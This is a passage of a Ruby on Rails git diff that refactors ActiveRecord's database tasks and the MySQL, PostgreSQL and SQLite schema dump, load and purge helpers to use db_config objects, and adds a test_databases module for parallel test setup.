+              ActiveRecord::Tasks::DatabaseTasks.with_temporary_connection(db_config) do
+                ActiveRecord::Tasks::DatabaseTasks.migrate(version, skip_initialize: true)
+              end
+            end
+          end
         end
-        ActiveRecord::Base.clear_cache!
+      end
+
+      def migrate(version = nil, skip_initialize: false)
+        scope = ENV["SCOPE"]
+        verbose_was, Migration.verbose = Migration.verbose, verbose?
+
+        check_target_version
+
+        initialize_database(migration_connection_pool.db_config) unless skip_initialize
+
+        migration_connection_pool.migration_context.migrate(target_version) do |migration|
+          if version.blank?
+            scope.blank? || scope == migration.scope
+          else
+            migration.version == version
+          end
+        end.tap do |migrations_ran|
+          Migration.write("No migrations ran. (using #{scope} scope)") if scope.present? && migrations_ran.empty?
+        end
+
+        migration_connection_pool.schema_cache.clear!
       ensure
         Migration.verbose = verbose_was
       end
 
-      def charset_current(environment = env)
-        charset ActiveRecord::Base.configurations[environment]
+      def db_configs_with_versions(environment = env) # :nodoc:
+        db_configs_with_versions = Hash.new { |h, k| h[k] = [] }
+
+        with_temporary_pool_for_each(env: environment) do |pool|
+          db_config = pool.db_config
+          versions_to_run = pool.migration_context.pending_migration_versions
+          target_version = ActiveRecord::Tasks::DatabaseTasks.target_version
+
+          versions_to_run.each do |version|
+            next if target_version && target_version != version
+            db_configs_with_versions[version] << db_config
+          end
+        end
+
+        db_configs_with_versions
       end
 
-      def charset(*arguments)
-        configuration = arguments.first
-        class_for_adapter(configuration["adapter"]).new(*arguments).charset
+      def migrate_status
+        unless migration_connection_pool.schema_migration.table_exists?
+          Kernel.abort "Schema migrations table does not exist yet."
+        end
+
+        # output
+        puts "\ndatabase: #{migration_connection_pool.db_config.database}\n\n"
+        puts "#{'Status'.center(8)}  #{'Migration ID'.ljust(14)}  Migration Name"
+        puts "-" * 50
+        migration_connection_pool.migration_context.migrations_status.each do |status, version, name|
+          puts "#{status.center(8)}  #{version.ljust(14)}  #{name}"
+        end
+        puts
       end
 
-      def collation_current(environment = env)
-        collation ActiveRecord::Base.configurations[environment]
+      def check_target_version
+        if target_version && !Migration.valid_version_format?(ENV["VERSION"])
+          raise "Invalid format of target version: `VERSION=#{ENV['VERSION']}`"
+        end
       end
 
-      def collation(*arguments)
-        configuration = arguments.first
-        class_for_adapter(configuration["adapter"]).new(*arguments).collation
+      def target_version
+        ENV["VERSION"].to_i if ENV["VERSION"] && !ENV["VERSION"].empty?
+      end
+
+      def charset_current(env_name = env, db_name = name)
+        db_config = configs_for(env_name: env_name, name: db_name)
+        charset(db_config)
+      end
+
+      def charset(configuration, *arguments)
+        db_config = resolve_configuration(configuration)
+        database_adapter_for(db_config, *arguments).charset
+      end
+
+      def collation_current(env_name = env, db_name = name)
+        db_config = configs_for(env_name: env_name, name: db_name)
+        collation(db_config)
+      end
+
+      def collation(configuration, *arguments)
+        db_config = resolve_configuration(configuration)
+        database_adapter_for(db_config, *arguments).collation
       end
 
       def purge(configuration)
-        class_for_adapter(configuration["adapter"]).new(configuration).purge
+        db_config = resolve_configuration(configuration)
+        database_adapter_for(db_config).purge
       end
 
       def purge_all
-        each_local_configuration { |configuration|
-          purge configuration
-        }
+        each_local_configuration { |db_config| purge(db_config) }
       end
 
       def purge_current(environment = env)
-        each_current_configuration(environment) { |configuration|
-          purge configuration
-        }
-        ActiveRecord::Base.establish_connection(environment.to_sym)
+        each_current_configuration(environment) { |db_config| purge(db_config) }
+
+        migration_class.establish_connection(environment.to_sym)
       end
 
-      def structure_dump(*arguments)
-        configuration = arguments.first
-        filename = arguments.delete_at 1
-        class_for_adapter(configuration["adapter"]).new(*arguments).structure_dump(filename, structure_dump_flags)
+      def structure_dump(configuration, *arguments)
+        db_config = resolve_configuration(configuration)
+        filename = arguments.delete_at(0)
+        flags = structure_dump_flags_for(db_config.adapter)
+        database_adapter_for(db_config, *arguments).structure_dump(filename, flags)
       end
 
-      def structure_load(*arguments)
-        configuration = arguments.first
-        filename = arguments.delete_at 1
-        class_for_adapter(configuration["adapter"]).new(*arguments).structure_load(filename, structure_load_flags)
+      def structure_load(configuration, *arguments)
+        db_config = resolve_configuration(configuration)
+        filename = arguments.delete_at(0)
+        flags = structure_load_flags_for(db_config.adapter)
+        database_adapter_for(db_config, *arguments).structure_load(filename, flags)
       end
 
-      def load_schema(configuration, format = ActiveRecord::Base.schema_format, file = nil) # :nodoc:
-        file ||= schema_file(format)
+      def load_schema(db_config, format = db_config.schema_format, file = nil) # :nodoc:
+        format = format.to_sym
+        file ||= schema_dump_path(db_config, format)
+        return unless file
+
+        verbose_was, Migration.verbose = Migration.verbose, verbose? && ENV["VERBOSE"]
+        check_schema_file(file)
 
         case format
         when :ruby
-          check_schema_file(file)
-          ActiveRecord::Base.establish_connection(configuration)
           load(file)
         when :sql
-          check_schema_file(file)
-          structure_load(configuration, file)
+          structure_load(db_config, file)
         else
           raise ArgumentError, "unknown format #{format.inspect}"
         end
-        ActiveRecord::InternalMetadata.create_table
-        ActiveRecord::InternalMetadata[:environment] = ActiveRecord::Migrator.current_environment
+
+        migration_connection_pool.internal_metadata.create_table_and_set_flags(db_config.env_name, schema_sha1(file))
+      ensure
+        Migration.verbose = verbose_was
       end
 
-      def schema_file(format = ActiveRecord::Base.schema_format)
-        case format
-        when :ruby
-          File.join(db_dir, "schema.rb")
-        when :sql
-          File.join(db_dir, "structure.sql")
+      def schema_up_to_date?(configuration, _ = nil, file = nil)
+        db_config = resolve_configuration(configuration)
+
+        file ||= schema_dump_path(db_config)
+
+        return true unless file && File.exist?(file)
+
+        with_temporary_pool(db_config) do |pool|
+          internal_metadata = pool.internal_metadata
+          return false unless internal_metadata.enabled?
+          return false unless internal_metadata.table_exists?
+
+          internal_metadata[:schema_sha1] == schema_sha1(file)
+        end
+      end
+
+      def reconstruct_from_schema(db_config, file = nil) # :nodoc:
+        file ||= schema_dump_path(db_config, db_config.schema_format)
+
+        check_schema_file(file) if file
+
+        with_temporary_pool(db_config, clobber: true) do
+          if schema_up_to_date?(db_config, nil, file)
+            empty_all_tables(db_config)
+          else
+            purge(db_config)
+            load_schema(db_config, db_config.schema_format, file)
+          end
+        rescue ActiveRecord::NoDatabaseError
+          create(db_config)
+          load_schema(db_config, db_config.schema_format, file)
+        end
+      end
+
+      def dump_all
+        seen_schemas = []
+
+        ActiveRecord::Base.configurations.configs_for(env_name: ActiveRecord::Tasks::DatabaseTasks.env).each do |db_config|
+          schema_path = schema_dump_path(db_config, ENV["SCHEMA_FORMAT"] || db_config.schema_format)
+
+          next if seen_schemas.include?(schema_path)
+
+          ActiveRecord::Tasks::DatabaseTasks.dump_schema(db_config, ENV["SCHEMA_FORMAT"] || db_config.schema_format)
+          seen_schemas << schema_path
         end
       end
 
-      def load_schema_current(format = ActiveRecord::Base.schema_format, file = nil, environment = env)
-        each_current_configuration(environment) { |configuration|
-          load_schema configuration, format, file
-        }
-        ActiveRecord::Base.establish_connection(environment.to_sym)
+      def dump_schema(db_config, format = db_config.schema_format) # :nodoc:
+        return unless db_config.schema_dump
+
+        require "active_record/schema_dumper"
+        filename = schema_dump_path(db_config, format)
+        return unless filename
+
+        with_temporary_pool(db_config) do |pool|
+          FileUtils.mkdir_p(db_dir)
+          case format.to_sym
+          when :ruby
+            File.open(filename, "w:utf-8") do |file|
+              ActiveRecord::SchemaDumper.dump(pool, file)
+            end
+          when :sql
+            structure_dump(db_config, filename)
+            if pool.schema_migration.table_exists?
+              File.open(filename, "a") do |f|
+                pool.with_connection do |connection|
+                  f.puts connection.dump_schema_versions
+                end
+                f.print "\n"
+              end
+            end
+          end
+        end
+      end
+
+      def schema_dump_path(db_config, format = db_config.schema_format)
+        return ENV["SCHEMA"] if ENV["SCHEMA"]
+
+        filename = db_config.schema_dump(format)
+        return unless filename
+
+        if Pathname.new(filename).absolute? || File.dirname(filename) == ActiveRecord::Tasks::DatabaseTasks.db_dir
+          filename
+        else
+          File.join(ActiveRecord::Tasks::DatabaseTasks.db_dir, filename)
+        end
+      end
+
+      def cache_dump_filename(db_config, schema_cache_path: nil)
+        schema_cache_path ||
+          db_config.schema_cache_path ||
+          db_config.default_schema_cache_path(ActiveRecord::Tasks::DatabaseTasks.db_dir)
+      end
+
+      def load_schema_current(format = nil, file = nil, environment = env)
+        each_current_configuration(environment) do |db_config|
+          with_temporary_connection(db_config) do
+            load_schema(db_config, format || db_config.schema_format, file)
+          end
+        end
       end
 
       def check_schema_file(filename)
         unless File.exist?(filename)
-          message = %{#{filename} doesn't exist yet. Run `rails db:migrate` to create it, then try again.}
-          message << %{ If you do not intend to use a database, you should instead alter #{Rails.root}/config/application.rb to limit the frameworks that will be loaded.} if defined?(::Rails)
+          message = +%{#{filename} doesn't exist yet. Run `bin/rails db:migrate` to create it, then try again.}
+          message << %{ If you do not intend to use a database, you should instead alter #{Rails.root}/config/application.rb to limit the frameworks that will be loaded.} if defined?(::Rails.root)
           Kernel.abort message
         end
       end
@@ -275,48 +522,157 @@ def load_seed
 
       # Dumps the schema cache in YAML format for the connection into the file
       #
-      # ==== Examples:
-      #   ActiveRecord::Tasks::DatabaseTasks.dump_schema_cache(ActiveRecord::Base.connection, "tmp/schema_dump.yaml")
-      def dump_schema_cache(conn, filename)
-        conn.schema_cache.clear!
-        conn.data_sources.each { |table| conn.schema_cache.add(table) }
-        open(filename, "wb") { |f| f.write(YAML.dump(conn.schema_cache)) }
+      # ==== Examples
+      #   ActiveRecord::Tasks::DatabaseTasks.dump_schema_cache(ActiveRecord::Base.lease_connection, "tmp/schema_dump.yaml")
+      def dump_schema_cache(conn_or_pool, filename)
+        conn_or_pool.schema_cache.dump_to(filename)
+      end
+
+      def clear_schema_cache(filename)
+        FileUtils.rm_f filename, verbose: false
+      end
+
+      def with_temporary_pool_for_each(env: ActiveRecord::Tasks::DatabaseTasks.env, name: nil, clobber: false, &block) # :nodoc:
+        if name
+          db_config = ActiveRecord::Base.configurations.configs_for(env_name: env, name: name)
+          with_temporary_pool(db_config, clobber: clobber, &block)
+        else
+          ActiveRecord::Base.configurations.configs_for(env_name: env, name: name).each do |db_config|
+            with_temporary_pool(db_config, clobber: clobber, &block)
+          end
+        end
+      end
+
+      def with_temporary_connection(db_config, clobber: false, &block) # :nodoc:
+        with_temporary_pool(db_config, clobber: clobber) do |pool|
+          pool.with_connection(&block)
+        end
+      end
+
+      def migration_class # :nodoc:
+        ActiveRecord::Base
+      end
+
+      def migration_connection # :nodoc:
+        migration_class.lease_connection
+      end
+
+      def migration_connection_pool # :nodoc:
+        migration_class.connection_pool
       end
 
       private
+        def with_temporary_pool(db_config, clobber: false)
+          original_db_config = migration_class.connection_db_config
+          pool = migration_class.connection_handler.establish_connection(db_config, clobber: clobber)
+
+          yield pool
+        ensure
+          migration_class.connection_handler.establish_connection(original_db_config, clobber: clobber)
+        end
+
+        def configs_for(**options)
+          Base.configurations.configs_for(**options)
+        end
+
+        def resolve_configuration(configuration)
+          Base.configurations.resolve(configuration)
+        end
+
+        def verbose?
+          ENV["VERBOSE"] ? ENV["VERBOSE"] != "false" : true
+        end
+
+        # Create a new instance for the specified db configuration object
+        # For classes that have been converted to use db_config objects, pass a
+        # `DatabaseConfig`, otherwise pass a `Hash`
+        def database_adapter_for(db_config, *arguments)
+          klass = class_for_adapter(db_config.adapter)
+          converted = klass.respond_to?(:using_database_configurations?) && klass.using_database_configurations?
+
+          config = converted ? db_config : db_config.configuration_hash
+          klass.new(config, *arguments)
+        end
 
         def class_for_adapter(adapter)
-          key = @tasks.keys.detect { |pattern| adapter[pattern] }
-          unless key
+          _key, task = @tasks.reverse_each.detect { |pattern, _task| adapter[pattern] }
+          unless task
             raise DatabaseNotSupported, "Rake tasks not supported by '#{adapter}' adapter"
           end
-          @tasks[key]
+          task.is_a?(String) ? task.constantize : task
         end
 
-        def each_current_configuration(environment)
-          environments = [environment]
-          environments << "test" if environment == "development"
+        def each_current_configuration(environment, name = nil)
+          each_current_environment(environment) do |env|
+            configs_for(env_name: env).each do |db_config|
+              next if name && name != db_config.name
 
-          configurations = ActiveRecord::Base.configurations.values_at(*environments)
-          configurations.compact.each do |configuration|
-            yield configuration unless configuration["database"].blank?
+              yield db_config
+            end
           end
         end
 
+        def each_current_environment(environment, &block)
+          environments = [environment]
+          environments << "test" if environment == "development" && !ENV["SKIP_TEST_DATABASE"] && !ENV["DATABASE_URL"]
+          environments.each(&block)
+        end
+
         def each_local_configuration
-          ActiveRecord::Base.configurations.each_value do |configuration|
-            next unless configuration["database"]
+          configs_for.each do |db_config|
+            next unless db_config.database
 
-            if local_database?(configuration)
-              yield configuration
+            if local_database?(db_config)
+              yield db_config
             else
-              $stderr.puts "This task only modifies local databases. #{configuration['database']} is on a remote host."
+              $stderr.puts "This task only modifies local databases. #{db_config.database} is on a remote host."
             end
           end
         end
 
-        def local_database?(configuration)
-          configuration["host"].blank? || LOCAL_HOSTS.include?(configuration["host"])
+        def local_database?(db_config)
+          host = db_config.host
+          host.blank? || LOCAL_HOSTS.include?(host)
+        end
+
+        def schema_sha1(file)
+          OpenSSL::Digest::SHA1.hexdigest(File.read(file))
+        end
+
+        def structure_dump_flags_for(adapter)
+          if structure_dump_flags.is_a?(Hash)
+            structure_dump_flags[adapter.to_sym]
+          else
+            structure_dump_flags
+          end
+        end
+
+        def structure_load_flags_for(adapter)
+          if structure_load_flags.is_a?(Hash)
+            structure_load_flags[adapter.to_sym]
+          else
+            structure_load_flags
+          end
+        end
+
+        def initialize_database(db_config)
+          with_temporary_pool(db_config) do
+            begin
+              database_already_initialized = migration_connection_pool.schema_migration.table_exists?
+            rescue ActiveRecord::NoDatabaseError
+              create(db_config)
+              retry
+            end
+
+            unless database_already_initialized
+              schema_dump_path = schema_dump_path(db_config)
+              if schema_dump_path && File.exist?(schema_dump_path)
+                load_schema(db_config)
+              end
+            end
+
+            !database_already_initialized
+          end
         end
     end
   end
diff --git a/activerecord/lib/active_record/tasks/mysql_database_tasks.rb b/activerecord/lib/active_record/tasks/mysql_database_tasks.rb
index 920830b9cfd69..17f2b630aed52 100644
--- a/activerecord/lib/active_record/tasks/mysql_database_tasks.rb
+++ b/activerecord/lib/active_record/tasks/mysql_database_tasks.rb
@@ -1,154 +1,83 @@
+# frozen_string_literal: true
+
 module ActiveRecord
   module Tasks # :nodoc:
-    class MySQLDatabaseTasks # :nodoc:
-      ACCESS_DENIED_ERROR = 1045
-
-      delegate :connection, :establish_connection, to: ActiveRecord::Base
-
-      def initialize(configuration)
-        @configuration = configuration
-      end
-
+    class MySQLDatabaseTasks < AbstractTasks # :nodoc:
       def create
-        establish_connection configuration_without_database
-        connection.create_database configuration["database"], creation_options
-        establish_connection configuration
-      rescue ActiveRecord::StatementInvalid => error
-        if error.message.include?("database exists")
-          raise DatabaseAlreadyExists
-        else
-          raise
-        end
-      rescue error_class => error
-        if error.respond_to?(:errno) && error.errno == ACCESS_DENIED_ERROR
-          $stdout.print error.message
-          establish_connection root_configuration_without_database
-          connection.create_database configuration["database"], creation_options
-          if configuration["username"] != "root"
-            connection.execute grant_statement.gsub(/\s+/, " ").strip
-          end
-          establish_connection configuration
-        else
-          $stderr.puts error.inspect
-          $stderr.puts "Couldn't create database for #{configuration.inspect}, #{creation_options.inspect}"
-          $stderr.puts "(If you set the charset manually, make sure you have a matching collation)" if configuration["encoding"]
-        end
+        establish_connection(configuration_hash_without_database)
+        connection.create_database(db_config.database, creation_options)
+        establish_connection
       end
 
       def drop
-        establish_connection configuration
-        connection.drop_database configuration["database"]
+        establish_connection
+        connection.drop_database(db_config.database)
       end
 
       def purge
-        establish_connection configuration
-        connection.recreate_database configuration["database"], creation_options
+        establish_connection(configuration_hash_without_database)
+        connection.recreate_database(db_config.database, creation_options)
+        establish_connection
       end
 
       def charset
         connection.charset
       end
 
-      def collation
-        connection.collation
-      end
-
       def structure_dump(filename, extra_flags)
         args = prepare_command_options
         args.concat(["--result-file", "#{filename}"])
         args.concat(["--no-data"])
         args.concat(["--routines"])
         args.concat(["--skip-comments"])
-        args.concat(Array(extra_flags)) if extra_flags
-        args.concat(["#{configuration['database']}"])
 
-        run_cmd("mysqldump", args, "dumping")
+        ignore_tables = ActiveRecord::SchemaDumper.ignore_tables
+        if ignore_tables.any?
+          ignore_tables = connection.data_sources.select { |table| ignore_tables.any? { |pattern| pattern === table } }
+          args += ignore_tables.map { |table| "--ignore-table=#{db_config.database}.#{table}" }
+        end
+
+        args.concat([db_config.database.to_s])
+        args.unshift(*extra_flags) if extra_flags
+
+        run_cmd("mysqldump", *args)
       end
 
       def structure_load(filename, extra_flags)
         args = prepare_command_options
         args.concat(["--execute", %{SET FOREIGN_KEY_CHECKS = 0; SOURCE #{filename}; SET FOREIGN_KEY_CHECKS = 1}])
-        args.concat(["--database", "#{configuration['database']}"])
-        args.concat(Array(extra_flags)) if extra_flags
+        args.concat(["--database", db_config.database.to_s])
+        args.unshift(*extra_flags) if extra_flags
 
-        run_cmd("mysql", args, "loading")
+        run_cmd("mysql", *args)
       end
 
       private
-
-        def configuration
-          @configuration
-        end
-
-        def configuration_without_database
-          configuration.merge("database" => nil)
-        end
-
         def creation_options
           Hash.new.tap do |options|
-            options[:charset]     = configuration["encoding"]   if configuration.include? "encoding"
-            options[:collation]   = configuration["collation"]  if configuration.include? "collation"
-          end
-        end
-
-        def error_class
-          if configuration["adapter"].include?("jdbc")
-            require "active_record/railties/jdbcmysql_error"
-            ArJdbcMySQL::Error
-          elsif defined?(Mysql2)
-            Mysql2::Error
-          else
-            StandardError
+            options[:charset]     = configuration_hash[:encoding]   if configuration_hash.include?(:encoding)
+            options[:collation]   = configuration_hash[:collation]  if configuration_hash.include?(:collation)
           end
         end
 
-        def grant_statement
-          <<-SQL
-GRANT ALL PRIVILEGES ON #{configuration['database']}.*
-  TO '#{configuration['username']}'@'localhost'
-IDENTIFIED BY '#{configuration['password']}' WITH GRANT OPTION;
-          SQL
-        end
-
-        def root_configuration_without_database
-          configuration_without_database.merge(
-            "username" => "root",
-            "password" => root_password
-          )
-        end
-
-        def root_password
-          $stdout.print "Please provide the root password for your MySQL installation\n>"
-          $stdin.gets.strip
-        end
-
         def prepare_command_options
           args = {
-            "host"      => "--host",
-            "port"      => "--port",
-            "socket"    => "--socket",
-            "username"  => "--user",
-            "password"  => "--password",
-            "encoding"  => "--default-character-set",
-            "sslca"     => "--ssl-ca",
-            "sslcert"   => "--ssl-cert",
-            "sslcapath" => "--ssl-capath",
-            "sslcipher" => "--ssl-cipher",
-            "sslkey"    => "--ssl-key"
-          }.map { |opt, arg| "#{arg}=#{configuration[opt]}" if configuration[opt] }.compact
+            host:      "--host",
+            port:      "--port",
+            socket:    "--socket",
+            username:  "--user",
+            password:  "--password",
+            encoding:  "--default-character-set",
+            sslca:     "--ssl-ca",
+            sslcert:   "--ssl-cert",
+            sslcapath: "--ssl-capath",
+            sslcipher: "--ssl-cipher",
+            sslkey:    "--ssl-key",
+            ssl_mode:  "--ssl-mode"
+          }.filter_map { |opt, arg| "#{arg}=#{configuration_hash[opt]}" if configuration_hash[opt] }
 
           args
         end
-
-        def run_cmd(cmd, args, action)
-          fail run_cmd_error(cmd, args, action) unless Kernel.system(cmd, *args)
-        end
-
-        def run_cmd_error(cmd, args, action)
-          msg = "failed to execute: `#{cmd}`\n"
-          msg << "Please check the output above for any errors and make sure that `#{cmd}` is installed in your PATH and has proper permissions.\n\n"
-          msg
-        end
     end
   end
 end
diff --git a/activerecord/lib/active_record/tasks/postgresql_database_tasks.rb b/activerecord/lib/active_record/tasks/postgresql_database_tasks.rb
index 5155ced0e2e63..6a885bb6ca8b1 100644
--- a/activerecord/lib/active_record/tasks/postgresql_database_tasks.rb
+++ b/activerecord/lib/active_record/tasks/postgresql_database_tasks.rb
@@ -1,114 +1,120 @@
+# frozen_string_literal: true
+
+require "tempfile"
+
 module ActiveRecord
   module Tasks # :nodoc:
-    class PostgreSQLDatabaseTasks # :nodoc:
+    class PostgreSQLDatabaseTasks < AbstractTasks # :nodoc:
       DEFAULT_ENCODING = ENV["CHARSET"] || "utf8"
-      ON_ERROR_STOP_1 = "ON_ERROR_STOP=1".freeze
-
-      delegate :connection, :establish_connection, :clear_active_connections!,
-        to: ActiveRecord::Base
+      ON_ERROR_STOP_1 = "ON_ERROR_STOP=1"
+      SQL_COMMENT_BEGIN = "--"
 
-      def initialize(configuration)
-        @configuration = configuration
-      end
-
-      def create(master_established = false)
-        establish_master_connection unless master_established
-        connection.create_database configuration["database"],
-          configuration.merge("encoding" => encoding)
-        establish_connection configuration
-      rescue ActiveRecord::StatementInvalid => error
-        if /database .* already exists/.match?(error.message)
-          raise DatabaseAlreadyExists
-        else
-          raise
-        end
+      def create(connection_already_established = false)
+        establish_connection(public_schema_config) unless connection_already_established
+        connection.create_database(db_config.database, configuration_hash.merge(encoding: encoding))
+        establish_connection
       end
 
       def drop
-        establish_master_connection
-        connection.drop_database configuration["database"]
-      end
-
-      def charset
-        connection.encoding
-      end
-
-      def collation
-        connection.collation
+        establish_connection(public_schema_config)
+        connection.drop_database(db_config.database)
       end
 
       def purge
-        clear_active_connections!
+        ActiveRecord::Base.connection_handler.clear_active_connections!(:all)
         drop
         create true
       end
 
       def structure_dump(filename, extra_flags)
-        set_psql_env
-
         search_path = \
-          case ActiveRecord::Base.dump_schemas
+          case ActiveRecord.dump_schemas
           when :schema_search_path
-            configuration["schema_search_path"]
+            configuration_hash[:schema_search_path]
           when :all
             nil
           when String
-            ActiveRecord::Base.dump_schemas
+            ActiveRecord.dump_schemas
           end
 
-        args = ["-s", "-x", "-O", "-f", filename]
+        args = ["--schema-only", "--no-privileges", "--no-owner"]
+        args.concat(["--file", filename])
+
         args.concat(Array(extra_flags)) if extra_flags
+
         unless search_path.blank?
           args += search_path.split(",").map do |part|
             "--schema=#{part.strip}"
           end
         end
-        args << configuration["database"]
-        run_cmd("pg_dump", args, "dumping")
+
+        ignore_tables = ActiveRecord::SchemaDumper.ignore_tables
+        if ignore_tables.any?
+          ignore_tables = connection.data_sources.select { |table| ignore_tables.any? { |pattern| pattern === table } }
+          args += ignore_tables.flat_map { |table| ["-T", table] }
+        end
+
+        args << db_config.database
+        run_cmd("pg_dump", *args)
+        remove_sql_header_comments(filename)
         File.open(filename, "a") { |f| f << "SET search_path TO #{connection.schema_search_path};\n\n" }
       end
 
       def structure_load(filename, extra_flags)
-        set_psql_env
-        args = ["-v", ON_ERROR_STOP_1, "-q", "-f", filename]
+        args = ["--set", ON_ERROR_STOP_1, "--quiet", "--no-psqlrc", "--output", File::NULL]
         args.concat(Array(extra_flags)) if extra_flags
-        args << configuration["database"]
-        run_cmd("psql", args, "loading")
+        args.concat(["--file", filename])
+        args << db_config.database
+        run_cmd("psql", *args)
       end
 
       private
-
-        def configuration
-          @configuration
-        end
-
         def encoding
-          configuration["encoding"] || DEFAULT_ENCODING
+          configuration_hash[:encoding] || DEFAULT_ENCODING
         end
 
-        def establish_master_connection
-          establish_connection configuration.merge(
-            "database"           => "postgres",
-            "schema_search_path" => "public"
-          )
+        def public_schema_config
+          configuration_hash.merge(database: "postgres", schema_search_path: "public")
         end
 
-        def set_psql_env
-          ENV["PGHOST"]     = configuration["host"]          if configuration["host"]
-          ENV["PGPORT"]     = configuration["port"].to_s     if configuration["port"]
-          ENV["PGPASSWORD"] = configuration["password"].to_s if configuration["password"]
-          ENV["PGUSER"]     = configuration["username"].to_s if configuration["username"]
+        def psql_env
+          {}.tap do |env|
+            env["PGHOST"]         = db_config.host                        if db_config.host
+            env["PGPORT"]         = configuration_hash[:port].to_s        if configuration_hash[:port]
+            env["PGPASSWORD"]     = configuration_hash[:password].to_s    if configuration_hash[:password]
+            env["PGUSER"]         = configuration_hash[:username].to_s    if configuration_hash[:username]
+            env["PGSSLMODE"]      = configuration_hash[:sslmode].to_s     if configuration_hash[:sslmode]
+            env["PGSSLCERT"]      = configuration_hash[:sslcert].to_s     if configuration_hash[:sslcert]
+            env["PGSSLKEY"]       = configuration_hash[:sslkey].to_s      if configuration_hash[:sslkey]
+            env["PGSSLROOTCERT"]  = configuration_hash[:sslrootcert].to_s if configuration_hash[:sslrootcert]
+          end
         end
 
-        def run_cmd(cmd, args, action)
-          fail run_cmd_error(cmd, args, action) unless Kernel.system(cmd, *args)
+        def run_cmd(cmd, *args, **opts)
+          fail run_cmd_error(cmd, args) unless Kernel.system(psql_env, cmd, *args, **opts)
         end
 
-        def run_cmd_error(cmd, args, action)
-          msg = "failed to execute:\n"
-          msg << "#{cmd} #{args.join(' ')}\n\n"
-          msg << "Please check the output above for any errors and make sure that `#{cmd}` is installed in your PATH and has proper permissions.\n\n"
-          msg
+        def remove_sql_header_comments(filename)
+          removing_comments = true
+          tempfile = Tempfile.open("uncommented_structure.sql")
+          begin
+            File.foreach(filename) do |line|
+              next if line.start_with?("\\restrict ")
+
+              if line.start_with?("\\unrestrict ")
+                removing_comments = true
+                next
+              end
+
+              unless removing_comments && (line.start_with?(SQL_COMMENT_BEGIN) || line.blank?)
+                tempfile << line
+                removing_comments = false
+              end
+            end
+          ensure
+            tempfile.close
+          end
+          FileUtils.cp(tempfile.path, filename)
         end
     end
   end
diff --git a/activerecord/lib/active_record/tasks/sqlite_database_tasks.rb b/activerecord/lib/active_record/tasks/sqlite_database_tasks.rb
index 1f756c2979518..dc0e72cd99685 100644
--- a/activerecord/lib/active_record/tasks/sqlite_database_tasks.rb
+++ b/activerecord/lib/active_record/tasks/sqlite_database_tasks.rb
@@ -1,60 +1,78 @@
+# frozen_string_literal: true
+
 module ActiveRecord
   module Tasks # :nodoc:
-    class SQLiteDatabaseTasks # :nodoc:
-      delegate :connection, :establish_connection, to: ActiveRecord::Base
-
-      def initialize(configuration, root = ActiveRecord::Tasks::DatabaseTasks.root)
-        @configuration, @root = configuration, root
+    class SQLiteDatabaseTasks < AbstractTasks # :nodoc:
+      def initialize(db_config, root = ActiveRecord::Tasks::DatabaseTasks.root)
+        @db_config = db_config
+        @root = root
       end
 
       def create
-        raise DatabaseAlreadyExists if File.exist?(configuration["database"])
+        file = ConnectionAdapters::SQLite3Adapter.resolve_path(db_config.database)
+        raise DatabaseAlreadyExists if File.exist?(file)
 
-        establish_connection configuration
+        establish_connection
         connection
       end
 
       def drop
-        require "pathname"
-        path = Pathname.new configuration["database"]
-        file = path.absolute? ? path.to_s : File.join(root, path)
-
+        file = ConnectionAdapters::SQLite3Adapter.resolve_path(db_config.database, root: root)
         FileUtils.rm(file)
+        FileUtils.rm_f(["#{file}-shm", "#{file}-wal"])
       rescue Errno::ENOENT => error
         raise NoDatabaseError.new(error.message)
       end
 
       def purge
+        connection.disconnect!
         drop
       rescue NoDatabaseError
       ensure
         create
-      end
-
-      def charset
-        connection.encoding
+        connection.reconnect!
       end
 
       def structure_dump(filename, extra_flags)
-        dbfile = configuration["database"]
-        flags = extra_flags.join(" ") if extra_flags
-        `sqlite3 #{flags} #{dbfile} .schema > #{filename}`
+        args = []
+        args.concat(Array(extra_flags)) if extra_flags
+        args << db_config.database
+
+        ignore_tables = ActiveRecord::SchemaDumper.ignore_tables
+        if ignore_tables.any?
+          ignore_tables = connection.data_sources.select { |table| ignore_tables.any? { |pattern| pattern === table } }
+          condition = ignore_tables.map { |table| connection.quote(table) }.join(", ")
+          args << "SELECT sql || ';' FROM sqlite_master WHERE tbl_name NOT IN (#{condition}) ORDER BY tbl_name, type DESC, name"
+        else
+          args << ".schema --nosys"
+        end
+
+        run_cmd("sqlite3", *args, out: filename)
       end
 
       def structure_load(filename, extra_flags)
-        dbfile = configuration["database"]
-        flags = extra_flags.join(" ") if extra_flags
-        `sqlite3 #{flags} #{dbfile} < "#{filename}"`
+        args = []
+        args.concat(extra_flags) if extra_flags
+        args << db_config.database
+        run_cmd("sqlite3", *args, in: filename)
       end
 
-      private
-
-        def configuration
-          @configuration
+      def check_current_protected_environment!(db_config, migration_class)
+        super
+      rescue ActiveRecord::StatementInvalid => e
+        case e.cause
+        when SQLite3::ReadOnlyException
+        else
+          raise e
         end
+      end
+
+      private
+        attr_reader :root
 
-        def root
-          @root
+        def establish_connection(config = db_config)
+          ActiveRecord::Base.establish_connection(config)
+          connection.connect!
         end
     end
   end
diff --git a/activerecord/lib/active_record/test_databases.rb b/activerecord/lib/active_record/test_databases.rb
new file mode 100644
index 0000000000000..9ac340b01c7d0
--- /dev/null
+++ b/activerecord/lib/active_record/test_databases.rb
@@ -0,0 +1,34 @@
+# frozen_string_literal: true
+
+require "active_support/testing/parallelization"
+
+module ActiveRecord
+  module TestDatabases # :nodoc:
+    ActiveSupport::Testing::Parallelization.before_fork_hook do
+      if ActiveSupport.parallelize_test_databases
+        ActiveRecord::Base.connection_handler.clear_all_connections!
+      end
+    end
+
+    ActiveSupport::Testing::Parallelization.after_fork_hook do |i|
+      if ActiveSupport.parallelize_test_databases
+        create_and_load_schema(i, env_name: ActiveRecord::ConnectionHandling::DEFAULT_ENV.call)
+      end
+    end
+
+    def self.create_and_load_schema(i, env_name:)
+      old, ENV["VERBOSE"] = ENV["VERBOSE"], "false"
+
+      ActiveRecord::Base.configurations.configs_for(env_name: env_name, include_hidden: true).each do |db_config|
+        db_config._database = "#{db_config.database}_#{i}"
+
+        if db_config.database_tasks?
+          ActiveRecord::Tasks::DatabaseTasks.reconstruct_from_schema(db_config, nil)
+        end
+      end
+    ensure
+      ActiveRecord::Base.establish_connection
+      ENV["VERBOSE"] = old
+    end
+  end
+end
diff --git a/activerecord/lib/active_record/test_fixtures.rb b/activerecord/lib/active_record/test_fixtures.rb
new file mode 100644
index 0000000000000..0bcf89acf1bfd
--- /dev/null
+++ b/activerecord/lib/active_record/test_fixtures.rb
@@ -0,0 +1,346 @@
+# frozen_string_literal: true
+
+require "active_support/core_ext/enumerable"
+
+module ActiveRecord
+  module TestFixtures
